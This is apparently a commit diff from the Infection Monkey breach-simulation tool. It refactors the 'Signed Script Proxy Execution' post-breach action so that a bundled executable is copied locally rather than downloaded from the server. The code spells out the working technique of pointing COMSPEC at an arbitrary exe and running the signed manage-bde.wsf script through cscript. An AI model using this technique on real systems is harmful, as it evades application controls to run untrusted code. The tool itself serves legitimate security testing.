commit
8b39a78968
|
@ -59,12 +59,15 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||||
- Struts2 exploiter. #1869
|
- Struts2 exploiter. #1869
|
||||||
- Drupal exploiter. #1869
|
- Drupal exploiter. #1869
|
||||||
- WebLogic exploiter. #1869
|
- WebLogic exploiter. #1869
|
||||||
|
- The /api/t1216-pba/download endpoint. #1864
|
||||||
|
|
||||||
### Fixed
|
### Fixed
|
||||||
- A bug in network map page that caused delay of telemetry log loading. #1545
|
- A bug in network map page that caused delay of telemetry log loading. #1545
|
||||||
- Windows "run as a user" powershell command for manual agent runs. #1570
|
- Windows "run as a user" powershell command for manual agent runs. #1570
|
||||||
- A bug in the "Signed Script Proxy Execution" PBA that downloaded the exe on Linux
|
- A bug in the "Signed Script Proxy Execution" PBA that downloaded the exe on Linux
|
||||||
systems as well. #1557
|
systems as well. #1557
|
||||||
|
- A bug where T1216_random_executable.exe was copied to disk even if the signed
|
||||||
|
script proxy execution PBA was disabled. #1864
|
||||||
|
|
||||||
|
|
||||||
### Security
|
### Security
|
||||||
|
|
|
@ -1 +0,0 @@
|
||||||
T1216_PBA_FILE_DOWNLOAD_PATH = "/api/t1216-pba/download"
|
|
|
@ -3,13 +3,11 @@ import logging
|
||||||
import platform
|
import platform
|
||||||
from pprint import pformat
|
from pprint import pformat
|
||||||
from socket import gethostname
|
from socket import gethostname
|
||||||
from urllib.parse import urljoin
|
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
from requests.exceptions import ConnectionError
|
from requests.exceptions import ConnectionError
|
||||||
|
|
||||||
import infection_monkey.tunnel as tunnel
|
import infection_monkey.tunnel as tunnel
|
||||||
from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
|
|
||||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
||||||
from infection_monkey.config import GUID, WormConfiguration
|
from infection_monkey.config import GUID, WormConfiguration
|
||||||
from infection_monkey.network.info import get_host_subnets, local_ips
|
from infection_monkey.network.info import get_host_subnets, local_ips
|
||||||
|
@ -265,19 +263,3 @@ class ControlClient(object):
|
||||||
)
|
)
|
||||||
except requests.exceptions.RequestException:
|
except requests.exceptions.RequestException:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_T1216_pba_file():
|
|
||||||
try:
|
|
||||||
return requests.get( # noqa: DUO123
|
|
||||||
urljoin(
|
|
||||||
f"https://{WormConfiguration.current_server}/",
|
|
||||||
T1216_PBA_FILE_DOWNLOAD_PATH,
|
|
||||||
),
|
|
||||||
verify=False,
|
|
||||||
proxies=ControlClient.proxies,
|
|
||||||
stream=True,
|
|
||||||
timeout=MEDIUM_REQUEST_TIMEOUT,
|
|
||||||
)
|
|
||||||
except requests.exceptions.RequestException:
|
|
||||||
return False
|
|
||||||
|
|
|
@ -55,6 +55,8 @@ def process_datas(orig_datas):
|
||||||
datas = orig_datas
|
datas = orig_datas
|
||||||
if is_windows():
|
if is_windows():
|
||||||
datas = [i for i in datas if i[0].find('Include') < 0]
|
datas = [i for i in datas if i[0].find('Include') < 0]
|
||||||
|
else:
|
||||||
|
datas = [i for i in datas if not i[0].endswith("T1216_random_executable.exe")]
|
||||||
return datas
|
return datas
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -7,6 +7,7 @@ from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT, SHORT_REQUEST_
|
||||||
from infection_monkey.post_breach.pba import PBA
|
from infection_monkey.post_breach.pba import PBA
|
||||||
from infection_monkey.post_breach.signed_script_proxy.signed_script_proxy import (
|
from infection_monkey.post_breach.signed_script_proxy.signed_script_proxy import (
|
||||||
cleanup_changes,
|
cleanup_changes,
|
||||||
|
copy_executable_to_cwd,
|
||||||
get_commands_to_proxy_execution_using_signed_script,
|
get_commands_to_proxy_execution_using_signed_script,
|
||||||
)
|
)
|
||||||
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||||
|
@ -29,6 +30,7 @@ class SignedScriptProxyExecution(PBA):
|
||||||
original_comspec = ""
|
original_comspec = ""
|
||||||
try:
|
try:
|
||||||
if is_windows_os():
|
if is_windows_os():
|
||||||
|
copy_executable_to_cwd()
|
||||||
original_comspec = subprocess.check_output( # noqa: DUO116
|
original_comspec = subprocess.check_output( # noqa: DUO116
|
||||||
"if defined COMSPEC echo %COMSPEC%", shell=True, timeout=SHORT_REQUEST_TIMEOUT
|
"if defined COMSPEC echo %COMSPEC%", shell=True, timeout=SHORT_REQUEST_TIMEOUT
|
||||||
).decode()
|
).decode()
|
||||||
|
|
|
@ -26,7 +26,9 @@ class CustomPBA(PBA):
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, telemetry_messenger: ITelemetryMessenger):
|
def __init__(self, telemetry_messenger: ITelemetryMessenger):
|
||||||
super(CustomPBA, self).__init__(telemetry_messenger, POST_BREACH_FILE_EXECUTION)
|
super(CustomPBA, self).__init__(
|
||||||
|
telemetry_messenger, POST_BREACH_FILE_EXECUTION, timeout=None
|
||||||
|
)
|
||||||
self.filename = ""
|
self.filename = ""
|
||||||
|
|
||||||
def run(self, options: Dict) -> Iterable[PostBreachData]:
|
def run(self, options: Dict) -> Iterable[PostBreachData]:
|
||||||
|
|
Binary file not shown.
|
@ -1,5 +1,7 @@
|
||||||
import logging
|
import logging
|
||||||
import subprocess
|
import subprocess
|
||||||
|
from pathlib import Path
|
||||||
|
from shutil import copyfile
|
||||||
|
|
||||||
from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
|
from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT
|
||||||
from infection_monkey.post_breach.signed_script_proxy.windows.signed_script_proxy import (
|
from infection_monkey.post_breach.signed_script_proxy.windows.signed_script_proxy import (
|
||||||
|
@ -11,12 +13,21 @@ from infection_monkey.utils.environment import is_windows_os
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
EXECUTABLE_NAME = "T1216_random_executable.exe"
|
||||||
|
EXECUTABLE_SRC_PATH = Path(__file__).parent / EXECUTABLE_NAME
|
||||||
|
TEMP_COMSPEC = Path.cwd() / "T1216_random_executable.exe"
|
||||||
|
|
||||||
|
|
||||||
def get_commands_to_proxy_execution_using_signed_script():
|
def get_commands_to_proxy_execution_using_signed_script():
|
||||||
windows_cmds = get_windows_commands_to_proxy_execution_using_signed_script()
|
windows_cmds = get_windows_commands_to_proxy_execution_using_signed_script(TEMP_COMSPEC)
|
||||||
return windows_cmds
|
return windows_cmds
|
||||||
|
|
||||||
|
|
||||||
|
def copy_executable_to_cwd():
|
||||||
|
logger.debug(f"Copying executable from {EXECUTABLE_SRC_PATH} to {TEMP_COMSPEC}")
|
||||||
|
copyfile(EXECUTABLE_SRC_PATH, TEMP_COMSPEC)
|
||||||
|
|
||||||
|
|
||||||
def cleanup_changes(original_comspec):
|
def cleanup_changes(original_comspec):
|
||||||
if is_windows_os():
|
if is_windows_os():
|
||||||
try:
|
try:
|
||||||
|
@ -26,7 +37,7 @@ def cleanup_changes(original_comspec):
|
||||||
timeout=SHORT_REQUEST_TIMEOUT,
|
timeout=SHORT_REQUEST_TIMEOUT,
|
||||||
)
|
)
|
||||||
subprocess.run( # noqa: DUO116
|
subprocess.run( # noqa: DUO116
|
||||||
get_windows_commands_to_delete_temp_comspec(),
|
get_windows_commands_to_delete_temp_comspec(TEMP_COMSPEC),
|
||||||
shell=True,
|
shell=True,
|
||||||
timeout=SHORT_REQUEST_TIMEOUT,
|
timeout=SHORT_REQUEST_TIMEOUT,
|
||||||
)
|
)
|
||||||
|
|
|
@ -1,32 +1,22 @@
|
||||||
import os
|
import os
|
||||||
|
from pathlib import WindowsPath
|
||||||
|
|
||||||
from infection_monkey.control import ControlClient
|
|
||||||
from infection_monkey.utils.environment import is_windows_os
|
from infection_monkey.utils.environment import is_windows_os
|
||||||
|
|
||||||
TEMP_COMSPEC = os.path.join(os.getcwd(), "T1216_random_executable.exe")
|
|
||||||
|
|
||||||
|
def get_windows_commands_to_proxy_execution_using_signed_script(temp_comspec: WindowsPath):
|
||||||
def get_windows_commands_to_proxy_execution_using_signed_script():
|
|
||||||
signed_script = ""
|
signed_script = ""
|
||||||
|
|
||||||
if is_windows_os():
|
if is_windows_os():
|
||||||
_download_random_executable()
|
windir_path = WindowsPath(os.environ["WINDIR"])
|
||||||
windir_path = os.environ["WINDIR"]
|
signed_script = str(windir_path / "System32" / "manage-bde.wsf")
|
||||||
signed_script = os.path.join(windir_path, "System32", "manage-bde.wsf")
|
|
||||||
|
|
||||||
return [f"set comspec={TEMP_COMSPEC} &&", f"cscript {signed_script}"]
|
return [f"set comspec={temp_comspec} &&", f"cscript {signed_script}"]
|
||||||
|
|
||||||
|
|
||||||
def _download_random_executable():
|
|
||||||
download = ControlClient.get_T1216_pba_file()
|
|
||||||
with open(TEMP_COMSPEC, "wb") as random_exe_obj:
|
|
||||||
random_exe_obj.write(download.content)
|
|
||||||
random_exe_obj.flush()
|
|
||||||
|
|
||||||
|
|
||||||
def get_windows_commands_to_reset_comspec(original_comspec):
|
def get_windows_commands_to_reset_comspec(original_comspec):
|
||||||
return f"set comspec={original_comspec}"
|
return f"set comspec={original_comspec}"
|
||||||
|
|
||||||
|
|
||||||
def get_windows_commands_to_delete_temp_comspec():
|
def get_windows_commands_to_delete_temp_comspec(temp_comspec: WindowsPath):
|
||||||
return f"del {TEMP_COMSPEC} /f"
|
return f"del {temp_comspec} /f"
|
||||||
|
|
|
@ -6,7 +6,6 @@ import flask_restful
|
||||||
from flask import Flask, Response, send_from_directory
|
from flask import Flask, Response, send_from_directory
|
||||||
from werkzeug.exceptions import NotFound
|
from werkzeug.exceptions import NotFound
|
||||||
|
|
||||||
from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
|
|
||||||
from monkey_island.cc.database import database, mongo
|
from monkey_island.cc.database import database, mongo
|
||||||
from monkey_island.cc.resources.agent_controls import StopAgentCheck, StopAllAgents
|
from monkey_island.cc.resources.agent_controls import StopAgentCheck, StopAllAgents
|
||||||
from monkey_island.cc.resources.attack.attack_report import AttackReport
|
from monkey_island.cc.resources.attack.attack_report import AttackReport
|
||||||
|
@ -41,7 +40,6 @@ from monkey_island.cc.resources.ransomware_report import RansomwareReport
|
||||||
from monkey_island.cc.resources.remote_run import RemoteRun
|
from monkey_island.cc.resources.remote_run import RemoteRun
|
||||||
from monkey_island.cc.resources.root import Root
|
from monkey_island.cc.resources.root import Root
|
||||||
from monkey_island.cc.resources.security_report import SecurityReport
|
from monkey_island.cc.resources.security_report import SecurityReport
|
||||||
from monkey_island.cc.resources.T1216_pba_file_download import T1216PBAFileDownload
|
|
||||||
from monkey_island.cc.resources.telemetry import Telemetry
|
from monkey_island.cc.resources.telemetry import Telemetry
|
||||||
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
|
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
|
||||||
from monkey_island.cc.resources.version_update import VersionUpdate
|
from monkey_island.cc.resources.version_update import VersionUpdate
|
||||||
|
@ -153,7 +151,6 @@ def init_api_resources(api):
|
||||||
api.add_resource(Log, "/api/log")
|
api.add_resource(Log, "/api/log")
|
||||||
api.add_resource(IslandLog, "/api/log/island/download")
|
api.add_resource(IslandLog, "/api/log/island/download")
|
||||||
api.add_resource(PBAFileDownload, "/api/pba/download/<string:filename>")
|
api.add_resource(PBAFileDownload, "/api/pba/download/<string:filename>")
|
||||||
api.add_resource(T1216PBAFileDownload, T1216_PBA_FILE_DOWNLOAD_PATH)
|
|
||||||
api.add_resource(
|
api.add_resource(
|
||||||
FileUpload,
|
FileUpload,
|
||||||
"/api/fileUpload/<string:file_type>",
|
"/api/fileUpload/<string:file_type>",
|
||||||
|
|
|
@ -1,20 +0,0 @@
|
||||||
import os
|
|
||||||
|
|
||||||
import flask_restful
|
|
||||||
from flask import send_from_directory
|
|
||||||
|
|
||||||
from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
|
|
||||||
|
|
||||||
|
|
||||||
class T1216PBAFileDownload(flask_restful.Resource):
|
|
||||||
"""
|
|
||||||
File download endpoint used by monkey to download executable file for T1216 ("Signed Script
|
|
||||||
Proxy Execution" PBA)
|
|
||||||
"""
|
|
||||||
|
|
||||||
def get(self):
|
|
||||||
executable_file_name = "T1216_random_executable.exe"
|
|
||||||
return send_from_directory(
|
|
||||||
directory=os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "resources", "pba"),
|
|
||||||
path=executable_file_name,
|
|
||||||
)
|
|
Loading…
Reference in New Issue